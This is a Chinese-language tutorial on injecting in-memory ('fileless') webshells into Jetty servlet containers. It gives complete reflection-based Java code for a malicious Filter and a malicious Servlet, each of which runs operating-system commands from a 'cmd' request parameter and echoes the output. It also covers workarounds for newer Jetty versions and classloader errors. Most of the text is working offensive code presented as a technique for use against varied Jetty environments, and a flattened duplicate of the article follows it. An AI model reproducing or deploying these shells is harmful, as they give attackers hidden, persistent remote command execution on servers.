从0到1学会Jetty内存马注入
字数 1411 2025-08-24 16:48:16

Jetty内存马注入技术详解

一、Jetty基础介绍

Jetty是一个开源的Servlet容器,为基于Java的Web应用(如JSP和Servlet)提供运行环境。与Tomcat不同,Jetty是一个轻量级的Web容器,其API以一组JAR包形式发布。

二、环境搭建

1. 项目创建

使用Maven Archetype创建Webapp模板项目,pom.xml配置如下:

<project xmlns="http://maven.apache.org/POM/4.0.0" 
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>org.example</groupId>
    <artifactId>JettyMemshell</artifactId>
    <packaging>war</packaging>
    <version>1.0-SNAPSHOT</version>
    
    <properties>
        <jetty.version>9.4.44.v20210927</jetty.version>
    </properties>
    
    <dependencies>
        <dependency>
            <groupId>org.eclipse.jetty</groupId>
            <artifactId>jetty-server</artifactId>
            <version>${jetty.version}</version>
        </dependency>
        <dependency>
            <groupId>org.eclipse.jetty</groupId>
            <artifactId>jetty-servlet</artifactId>
            <version>${jetty.version}</version>
        </dependency>
    </dependencies>
    
    <build>
        <plugins>
            <plugin>
                <groupId>org.eclipse.jetty</groupId>
                <artifactId>jetty-maven-plugin</artifactId>
                <version>${jetty.version}</version>
                <configuration>
                    <httpConnector>
                        <port>8080</port>
                    </httpConnector>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>

2. 测试Servlet

public class HelloServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
        res.setContentType("text/html");
        res.setStatus(HttpServletResponse.SC_OK);
        res.getWriter().println("<h1>Hello World</h1>");
    }
}

3. web.xml配置

<web-app>
    <servlet>
        <servlet-name>HelloServlet</servlet-name>
        <servlet-class>com.fanxing.servlet.HelloServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>HelloServlet</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>
</web-app>

三、Filter内存马实现

1. 核心原理分析

Jetty中Filter的调用流程:

  • ServletHandler包含一个FilterChain
  • FilterChain信息通过_filterPathMappings获取
  • _filterPathMappings是ArrayList类型,包含FilterMapping对象
  • 每个FilterMapping包含_filtername_holder_pathSpecs三个关键变量

2. 关键步骤

  1. 获取ServletHandler
public static void getHandler() throws Exception {
    Object thread = Thread.currentThread();
    Object contextClassLoader = getFieldValue(thread, "contextClassLoader");
    Object context = getFieldValue(contextClassLoader, "_context");
    servletHandler = getFieldValue(context, "_servletHandler");
}
  1. 创建FilterHolder
Filter filter = new BehinderFilter();
Constructor constructor2 = servletHandler.getClass().getClassLoader()
    .loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object filterHolder = constructor2.newInstance();

Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter", Filter.class);
setFilter.invoke(filterHolder, filter);

Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);
setName.invoke(filterHolder, filterName);
  1. 创建FilterMapping
Constructor constructor = servletHandler.getClass().getClassLoader()
    .loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object filterMapping = constructor.newInstance();

Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName", String.class);
setFilterName.invoke(filterMapping, filterName);

Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder", filterHolder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(filterMapping, filterHolder);

String pathSpecs = url;
Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec", String.class);
setPathSpec.invoke(filterMapping, pathSpecs);
  1. 添加到_filterPathMappings
ArrayList _filterPathMapings = (ArrayList) getFieldValue(servletHandler,"_filterPathMappings");
_filterPathMapings.add(filterMapping);

3. 完整Filter内存马代码

public class BehinderFilter extends AbstractTranslet implements Filter {
    public static Object servletHandler = null;
    private static String filterName = "BehinderFilter";
    private static String url = "/*";

    // 辅助方法省略...

    static {
        try {
            // 获取ServletHandler
            getHandler();
            
            // 获取FilterHolder
            Filter filter = new BehinderFilter();
            Constructor constructor2 = servletHandler.getClass().getClassLoader()
                .loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
            constructor2.setAccessible(true);
            Object filterHolder = constructor2.newInstance();
            
            Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);
            setFilter.invoke(filterHolder,filter);
            
            Method setName = filterHolder.getClass().getSuperclass()
                .getDeclaredMethod("setName",String.class);
            setName.invoke(filterHolder,filterName);
            
            // 高版本绕过代码段
            Method setStarted = getMethod(filterHolder,"setStarted", null);
            setStarted.invoke(filterHolder);
            
            Method setServletHandler = getMethod(filterHolder,"setServletHandler", 
                servletHandler.getClass());
            setServletHandler.invoke(filterHolder, servletHandler);
            
            Method initialize = filterHolder.getClass().getDeclaredMethod("initialize", null);
            initialize.setAccessible(true);
            initialize.invoke(filterHolder);
            
            // 拼凑filtermapping
            Constructor constructor = servletHandler.getClass().getClassLoader()
                .loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
            constructor.setAccessible(true);
            Object filterMapping = constructor.newInstance();
            
            Method setFilterName = filterMapping.getClass()
                .getDeclaredMethod("setFilterName",String.class);
            setFilterName.invoke(filterMapping,filterName);
            
            Method setFilterHolder = filterMapping.getClass()
                .getDeclaredMethod("setFilterHolder",filterHolder.getClass());
            setFilterHolder.setAccessible(true);
            setFilterHolder.invoke(filterMapping,filterHolder);
            
            String pathSpecs = url;
            Method setPathSpec = filterMapping.getClass()
                .getDeclaredMethod("setPathSpec",String.class);
            setPathSpec.invoke(filterMapping,pathSpecs);
            
            // 加入filterPathMappings
            ArrayList _filterPathMapings = (ArrayList) getFieldValue(servletHandler,"_filterPathMappings");
            _filterPathMapings.add(filterMapping);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
            throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if(cmd != null){
            Runtime.getRuntime().exec(cmd);
            // 回显处理
            Process process = Runtime.getRuntime().exec(cmd);
            InputStream inputStream = process.getInputStream();
            BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
            String line;
            StringBuilder stringBuilder = new StringBuilder();
            while ((line = reader.readLine()) != null){
                stringBuilder.append(line + "\n");
            }
            ServletOutputStream servletOutputStream = response.getOutputStream();
            servletOutputStream.write(stringBuilder.toString().getBytes());
            servletOutputStream.flush();
            servletOutputStream.close();
        }
        chain.doFilter(request, response);
    }
    
    // 其他必要方法...
}

四、Servlet内存马实现

1. 核心原理分析

  • ServletHandler中的_servlets_servletMappings变量可用于实现Servlet内存马
  • addServlet方法用于向_servlets添加ServletHolder
  • ServletMapping对象存放Servlet的作用路径和名称

2. 关键步骤

  1. 获取ServletHolder
Servlet servlet = new BehinderServlet();
Constructor constructor2 = servletHandler.getClass().getClassLoader()
    .loadClass("org.eclipse.jetty.servlet.ServletHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object servletHolder = constructor2.newInstance();

Method setFilter = servletHolder.getClass().getDeclaredMethod("setServlet", Servlet.class);
setFilter.invoke(servletHolder, servlet);

Method setName = servletHolder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);
setName.invoke(servletHolder, ServletName);
  1. 添加到_servlets
Method addServlet = servletHandler.getClass().getDeclaredMethod("addServlet", servletHolder.getClass());
addServlet.setAccessible(true);
addServlet.invoke(servletHandler, servletHolder);
  1. 创建ServletMapping
Constructor constructor = servletHandler.getClass().getClassLoader()
    .loadClass("org.eclipse.jetty.servlet.ServletMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object servletMapping = constructor.newInstance();

Method setFilterName = servletMapping.getClass().getDeclaredMethod("setServletName", String.class);
setFilterName.invoke(servletMapping, ServletName);

String pathSpecs = url;
Method setPathSpec = servletMapping.getClass().getDeclaredMethod("setPathSpec", String.class);
setPathSpec.invoke(servletMapping, pathSpecs);
  1. 添加到_servletMappings
Method addServletMapping = servletHandler.getClass()
    .getDeclaredMethod("addServletMapping", servletMapping.getClass());
addServletMapping.setAccessible(true);
addServletMapping.invoke(servletHandler, servletMapping);

3. 完整Servlet内存马代码

public class BehinderServlet extends HttpServlet {
    public static Object servletHandler = null;
    private static String ServletName = "BehinderServlet";
    private static String url = "/*";

    // 辅助方法省略...

    static {
        try {
            // 获取ServletHandler
            getHandler();
            
            // 获取ServletHolder
            Servlet servlet = new BehinderServlet();
            Constructor constructor2 = servletHandler.getClass().getClassLoader()
                .loadClass("org.eclipse.jetty.servlet.ServletHolder").getDeclaredConstructor();
            constructor2.setAccessible(true);
            Object servletHolder = constructor2.newInstance();
            
            Method setFilter = servletHolder.getClass().getDeclaredMethod("setServlet", Servlet.class);
            setFilter.invoke(servletHolder, servlet);
            
            Method setName = servletHolder.getClass().getSuperclass()
                .getDeclaredMethod("setName",String.class);
            setName.invoke(servletHolder, ServletName);
            
            // 装载_servlet
            Method addServlet = servletHandler.getClass()
                .getDeclaredMethod("addServlet", servletHolder.getClass());
            addServlet.setAccessible(true);
            addServlet.invoke(servletHandler, servletHolder);
            
            // 初始化mapping
            Constructor constructor = servletHandler.getClass().getClassLoader()
                .loadClass("org.eclipse.jetty.servlet.ServletMapping").getDeclaredConstructor();
            constructor.setAccessible(true);
            Object servletMapping = constructor.newInstance();
            
            Method setFilterName = servletMapping.getClass()
                .getDeclaredMethod("setServletName",String.class);
            setFilterName.invoke(servletMapping, ServletName);
            
            String pathSpecs = url;
            Method setPathSpec = servletMapping.getClass()
                .getDeclaredMethod("setPathSpec",String.class);
            setPathSpec.invoke(servletMapping, pathSpecs);
            
            // 加入_servletMappings
            Method addServletMapping = servletHandler.getClass()
                .getDeclaredMethod("addServletMapping", servletMapping.getClass());
            addServletMapping.setAccessible(true);
            addServletMapping.invoke(servletHandler, servletMapping);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void doGet(HttpServletRequest request, HttpServletResponse resp) 
            throws ServletException, IOException {
        resp.getWriter().write("FanXing");
        Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}

五、高版本绕过技术

在Jetty 9.4.44.v20210927等高版本中,直接使用setFilter方法无法正常设置_filter变量,需要额外处理:

  1. 生命周期状态设置
Method setStarted = getMethod(filterHolder,"setStarted", null);
setStarted.invoke(filterHolder);
  1. 设置ServletHandler
Method setServletHandler = getMethod(filterHolder,"setServletHandler", servletHandler.getClass());
setServletHandler.invoke(filterHolder, servletHandler);
  1. 调用initialize方法
Method initialize = filterHolder.getClass().getDeclaredMethod("initialize", null);
initialize.setAccessible(true);
initialize.invoke(filterHolder);

六、关键问题与解决方案

  1. 类加载器命名空间问题

高版本中可能出现FilterMapping cannot be cast to FilterMapping错误,原因是不同类加载器加载了相同的类。解决方案是统一使用应用类加载器加载相关类:

Constructor constructor = servletHandler.getClass().getClassLoader()
    .loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
  1. FilterHolder初始化问题

不能直接使用new FilterHolder()方式创建实例,必须通过反射使用应用类加载器加载的类来创建实例。

  1. 高版本兼容性问题

在Jetty 9.0.7.v20131107版本中可以直接使用,但在高版本中需要额外处理生命周期状态和初始化流程。

七、总结

Jetty内存马注入技术要点:

  1. 通过线程上下文获取ServletHandler
  2. 使用反射创建并配置FilterHolder/ServletHolder
  3. 创建并配置FilterMapping/ServletMapping
  4. 将映射添加到对应的集合中
  5. 处理高版本兼容性问题
  6. 注意类加载器命名空间问题

相比Tomcat内存马,Jetty内存马实现更依赖于反射,且需要考虑版本兼容性问题。掌握这些技术要点后,可以灵活应对不同版本的Jetty环境。

Jetty内存马注入技术详解 一、Jetty基础介绍 Jetty是一个开源的Servlet容器,为基于Java的Web应用(如JSP和Servlet)提供运行环境。与Tomcat不同,Jetty是一个轻量级的Web容器,其API以一组JAR包形式发布。 二、环境搭建 1. 项目创建 使用Maven Archetype创建Webapp模板项目,pom.xml配置如下: 2. 测试Servlet 3. web.xml配置 三、Filter内存马实现 1. 核心原理分析 Jetty中Filter的调用流程: ServletHandler 包含一个 FilterChain FilterChain 信息通过 _filterPathMappings 获取 _filterPathMappings 是ArrayList类型,包含 FilterMapping 对象 每个 FilterMapping 包含 _filtername 、 _holder 和 _pathSpecs 三个关键变量 2. 关键步骤 获取ServletHandler 创建FilterHolder 创建FilterMapping 添加到_ filterPathMappings 3. 完整Filter内存马代码 四、Servlet内存马实现 1. 核心原理分析 ServletHandler 中的 _servlets 和 _servletMappings 变量可用于实现Servlet内存马 addServlet 方法用于向 _servlets 添加 ServletHolder ServletMapping 对象存放Servlet的作用路径和名称 2. 关键步骤 获取ServletHolder 添加到_ servlets 创建ServletMapping 添加到_ servletMappings 3. 完整Servlet内存马代码 五、高版本绕过技术 在Jetty 9.4.44.v20210927等高版本中,直接使用 setFilter 方法无法正常设置 _filter 变量,需要额外处理: 生命周期状态设置 设置ServletHandler 调用initialize方法 六、关键问题与解决方案 类加载器命名空间问题 高版本中可能出现 FilterMapping cannot be cast to FilterMapping 错误,原因是不同类加载器加载了相同的类。解决方案是统一使用应用类加载器加载相关类: FilterHolder初始化问题 不能直接使用 new FilterHolder() 方式创建实例,必须通过反射使用应用类加载器加载的类来创建实例。 高版本兼容性问题 在Jetty 9.0.7.v20131107版本中可以直接使用,但在高版本中需要额外处理生命周期状态和初始化流程。 七、总结 Jetty内存马注入技术要点: 通过线程上下文获取ServletHandler 使用反射创建并配置FilterHolder/ServletHolder 创建并配置FilterMapping/ServletMapping 将映射添加到对应的集合中 处理高版本兼容性问题 注意类加载器命名空间问题 相比Tomcat内存马,Jetty内存马实现更依赖于反射,且需要考虑版本兼容性问题。掌握这些技术要点后,可以灵活应对不同版本的Jetty环境。